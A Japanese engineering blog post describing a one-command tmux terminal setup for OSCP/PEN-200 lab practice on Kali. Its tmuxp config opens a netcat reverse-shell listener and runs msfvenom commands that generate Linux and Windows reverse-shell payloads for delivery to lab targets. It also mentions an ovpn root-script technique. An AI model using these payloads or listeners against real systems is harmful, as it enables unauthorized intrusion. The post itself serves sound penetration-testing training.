NFLabs. エンジニアブログ

セキュリティやソフトウェア開発に関する情報を発信する技術者向けのブログです。

1コマンドで起動!OSCP用ターミナル環境

はじめに

この記事は、NFLaboratories Advent Calendar 2024 13日目の記事です。 https://adventar.org/calendars/10492

こんにちは、教育ソリューション事業部の鈴木です。

この記事では、今年PEN-200のLabに取り組んでいた際に使っていたターミナル環境についてご紹介しようと思います。

どんなターミナル?

自分の場合、PEN-200のLabに取り組んでいた時、OpenVPN接続やHTTPサーバの起動、リバースシェル用の待ち受けポートの起動などが、実行するたびに手間に感じたので、一つのコマンドを打つだけで全て起動するようにしました。他にもコマンド履歴をいい感じに検索できるようにしたり、プロンプトの表示形式などをカスタムしました。また自分の場合、ターミナルウィンドウを複数立てたくなかったので、tmuxを使って一つのウィンドウで完結させました。

最終的には一つのターミナルで以下のような状態になります。

最終的なターミナル環境

使用したツール

主に以下の三つをメインで使用します。他にもツールはインストールするのですが、インストールする際にご説明いたします。

インストール手順

今回はVM上のKaliにインストールしていくときの手順を示していきたいと思います。

検証環境:Kali Linux 2024.03

大きな手順は以下です。

  1. スナップショットの取得
  2. preztoのインストール
  3. fzfのインストール
  4. tmuxpのインストール

1.スナップショットの取得

環境の構築がうまいくいかなかったときのために、いつでも元の状態に戻れるようにスナップショットを作成しておきます。 使用している仮想化ソフトの機能を使って、スナップショットを取得してきおましょう。

2. preztoのインストール

preztoとはzshのフレームワークの一つで、zshのプラグイン管理や、プロンプトのテーマ変更などが可能です。 kaliのデフォルトのシェルはzshだと思うのですが、念のためzshであることを確認します。

┌──(kali㉿kali)-[~]
└─$ echo $SHELL
/usr/bin/zsh

preztoをインストールする前に既存の.zshrcがあるとうまくいかないので、別名で保存しておきます。

mv .zshrc .zshrc.old

その後、preztoのドキュメント通りにインストールを行います。

github.com

まずはレポジトリをクローンします。

git clone --recursive https://github.com/sorin-ionescu/prezto.git "${ZDOTDIR:-$HOME}/.zprezto"

その後、新しいzshの設定ファイルを作成します。

setopt EXTENDED_GLOB
for rcfile in "${ZDOTDIR:-$HOME}"/.zprezto/runcoms/^README.md(.N); do
  ln -s "$rcfile" "${ZDOTDIR:-$HOME}/.${rcfile:t}"
done

次のデフォルトのシェルにzshを設定する手順はすでに設定してあるのでスキップします。

ここまでを実施して、新しいターミナルを開くと以下のようになっているはずです。

preztoインストール後のターミナル

次はプロンプトのテーマを変更します。

以下のコマンドで、プロンプトのテーマの名前の一覧を確認できます。

prompt -l

以下のコマンドで、各テーマのプレビューが可能です。

prompt -p <テーマ名>

ここではお好きなテーマを選択していただいて問題ありません。 選んだテーマを.zpreztorcに保存します。

.zpreztorcの148行目を変更します。

zstyle ':prezto:module:prompt' theme '<テーマ名>'

ここではparadoxに変更します。時間も見られてシンプルだったので。

zstyle ':prezto:module:prompt' theme 'paradox'

paradoxのプロンプト

次にコマンドの自動補完を有効にします。 これをすることでコマンド履歴に基づく補完をしてくれます。

.zpreztorcの42行目のpromtpの後に\を追加し、43行目に'autosuggestions'を追加します。 また49行目付近に以下を追加します。

 zstyle ':prezto:module:autosuggestions' color 'yes' 
 zstyle ':prezto:module:autosuggestions:color' found 'fg=blue'

autosuggestionsの有効化

これでコマンド履歴に基づく補完が表示されるようになります。

autosuggestionsによるコマンド補完

3. fzfのインストール

fzfとはコマンド履歴を直感的に検索できるツールです。

github.com

検索文字列が少なくても候補をいろいろ出してくれるので、とても使いやすいです。

OSCPのチートシートからいちいちコピペしなくても過去に実行したことあるコマンドならすぐに出せるのが一番のメリットだと思います。

  • インストール方法
git clone --depth 1 https://github.com/junegunn/fzf.git ~/.fzf
~/.fzf/install
  • 使い方
    • Ctrl-rでコマンド履歴を検索できます。
      • 矢印キーで選択できます。

fzfによるコマンド検索

4.tmuxpのインストール

tmuxpの説明の前にtmuxの説明をします。

tmuxとはターミナルマルチプレクサ(Terminal Multiplexer) の略で、Linux 系のターミナル画面を複数のセッション、ウィンドウ、ペインに分割して利用することができます。

参考:とほほのtmux入門www.tohoho-web.com

以下は自分のtmuxの設定ファイルです。マウスを使えるようにしたり、ドラッグで範囲選択→Ctrl-c→Enterでコピーとかできるようにしてあります。 細かい意味はchatgptなどで聞いていただければと思います。

以下の設定ファイルをホームディレクトリ配下に.tmux.confとして保存してください。

setw -g mouse on

bind-key v copy-mode \; display "Copy mode!"

set-option -g default-terminal screen-256color
set -g status-fg cyan
set -g status-bg black
set -g pane-active-border-style "bg=default fg=cyan"

setw -g mode-keys vi

bind-key -T copy-mode C-c send-keys -X copy-pipe "xsel -bi | tmux save-buffer - | xsel --clipboard --input"
bind-key -T copy-mode-vi C-c send-keys -X copy-pipe "xsel -bi | tmux save-buffer - | xsel --clipboard --input"
unbind -T copy-mode MouseDragEnd1Pane
unbind -T copy-mode-vi MouseDragEnd1Pane

またクリップボードにコピーする際にはxselというツールを使っているためインストールしておきます。

sudo apt-get install -y xsel

ここから本題のtmuxpについて見ていきます。

tmuxpとはtmuxのセッションマネージャーの一つで、設定ファイルを読み込んでウィンドウやペインのレイアウトを自動的に構築してくれます。

github.com

  • インストール方法
sudo apt install -y tmuxp

tmuxpを使う前にいくつか準備をしておきます。

  • ディレクトリ構成
    • 以下のような構成でディレクトリを作成します。
    • ここではoffsecというフォルダを作成して、そこにovpnファイルやツール用のフォルダ、tumxpの設定ファイルを入れておきます。
    • ツール用のフォルダにはよく攻撃先に配送するファイルなどを配置しておきます。

ディレクトリ構成

  • rlwrapのインストール
    • リバースシェルで待ち受ける際に、これを使っておくと矢印キーでコマンド履歴を遡れるようになるので便利です。
sudo apt-get -y install rlwrap
  • sudo openvpnをパスワードなしで実行するための設定
    • PEN-200のLabの環境に接続するためには専用のovpnファイルを使います。(現在はLabの利用期間はすでに切れているため、ここではHackTheBoxのovpnファイルを使っています。)
    • 毎回openvpnコマンドを打つのが手間だったので、ここで自動化します。
    • ここはセキュリティ的に危ない設定を入れているので設定しなくても問題ありませんが、その代わりにパスワード入力が求められます。
      • というのも実はsudo openvpnを実行する場合、読み込むovpnファイルによってはroot権限によるスクリプト実行が可能なテクニックが存在します。
        • exploit-notes.hdks.org
        • ovpnファイルに2行追加すればroot権限で任意のスクリプトが実行可能です。
      • 設定を入れる場合は、使用するovpnファイルは必ず信頼された出所のものを使用しましょう。
    • sudo visudoを実行後に以下の設定を入れます。
kali ALL=(ALL) NOPASSWD: /usr/sbin/openvpn /home/kali/offsec/lab.ovpn
  • tmuxpの設定ファイル(offsec_tmux.yaml)
session_name: oscp
global_options:
  history-limit: 10000
windows:
  - window_name: openvpn
    shell_command_before:
      - cd ~/offsec
    panes:
      - shell_command:
        - sudo /usr/sbin/openvpn /home/kali/offsec/lab.ovpn
  - window_name: portscan
    shell_command_before:
      - cd ~/offsec
      - clear
  - window_name: webscan
    shell_command_before:
      - cd ~/offsec
      - clear
  - window_name: exploit
    shell_command_before:
      - cd ~/offsec
      - clear
  - window_name: revshell
    shell_command_before:
      - cd ~/offsec
      - clear
    panes:
      - shell_command:
        - rlwrap nc -nlvp 443
  - window_name: http
    shell_command_before:
      - sleep 10
      - cd ~/offsec/tools
      - ip a | grep "global tun0" | grep -oE '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | xargs -I {} msfvenom -p linux/x64/shell_reverse_tcp LHOST={} LPORT=443 -f elf >| shell.elf
      - ip a | grep "global tun0" | grep -oE '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | xargs -I {} msfvenom -p windows/x64/shell_reverse_tcp LHOST={} LPORT=443 -f exe >| shellx64.exe
      - ip a | grep "global tun0" | grep -oE '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | xargs -I {} msfvenom -p windows/shell_reverse_tcp LHOST={} LPORT=443 -f exe >| shellx86.exe
    panes:
      - shell_command:
        - python3 -m http.server 80
  • この設定で以下のウィンドウが起動します。
    • OpenVPN用ウィンドウ
      • openvpnコマンドを実行し、VPN接続を行います。
    • portscan, webscan, exploitウィンドウ
      • 名前は分けていますが、主に作業用です。
    • リバースシェル用待ち受けウィンドウ
      • rlwrapとncを使用します。
    • ツール転送用HTTPサーバ
      • tun0に割り当てられたipを使ってリバースシェル用のバイナリをmsfvenomで生成し、その後pythonでHTTPサーバを起動します。

最後にtmuxpのコマンドをエイリアスで.zpreztorcに追加しておきます。

alias oscp='tmuxp load ~/offsec/offsec_tmux.yaml'

これでターミナルを開き直すとoscpというコマンドを打つとtmuxが立ち上がります。

最終的なターミナル

OpenVPNのログの「Initialization Sequence Completed」を確認したら、画面下のportscanやwebscanと書かれているウィンドウをクリックして、調査を開始しましよう。

えっ地味すぎてあんまりかっこよくないって?、これがいいんですよ😤

おわりに

ターミナル環境などはご自身が使いやすい環境がベストだと思いますが、ここでは環境のカスタムの一つの例として自分の環境をご紹介いたしました。

今回紹介した環境もやろうと思えば、さらにいろんなことができると思います。例えば、ligolo-ng用のインターフェースを作って、proxyのバイナリを自動実行することもできると思います。 たまには時間をとってターミナル環境を整備することもおすすめです。

自分は今年の5月にOSCPに合格し、今月からPEN-300に取り組んでいます。

それでは皆様よいTry Harderな年末をお過ごしください!